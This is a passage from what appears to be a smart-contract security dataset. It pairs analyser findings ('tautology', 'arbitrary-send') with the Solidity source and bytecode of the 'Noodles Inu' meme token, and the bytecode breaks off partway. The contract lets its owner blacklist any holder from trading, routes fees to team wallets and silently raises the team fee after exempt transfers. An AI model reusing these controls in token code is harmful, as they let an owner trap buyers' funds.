5b6040518115909202916000818181858888f15050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fecb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa2168481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033416c726561647920696e204175746f506f6f6c0000000000000000000000000055736572204e6f74205265676973746572656400000000000000000000000000a2646970667358221220620076d1f91293590c2509bc4644bbff74e2f655f6c0a8f8d87e1394ee9033c164736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 823 |
0x751d41762b32b4293bd4011025b7b5142e007da0 | /**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
//Noodles Inu ($NoodlesInu)
// Limit Buy
// Cooldown
//TG: https://t.me/noodlesinu
//Twitter: https://twitter.com/criptopaulinu
//Website: https://noodlesinu.com/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NoodlesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Noodles Inu";
string private constant _symbol = "NoodlesInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_teamFee = 12;
_taxFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (2 minutes);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f4e6f6f646c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4e6f6f646c6573496e7500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b607842611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b60026000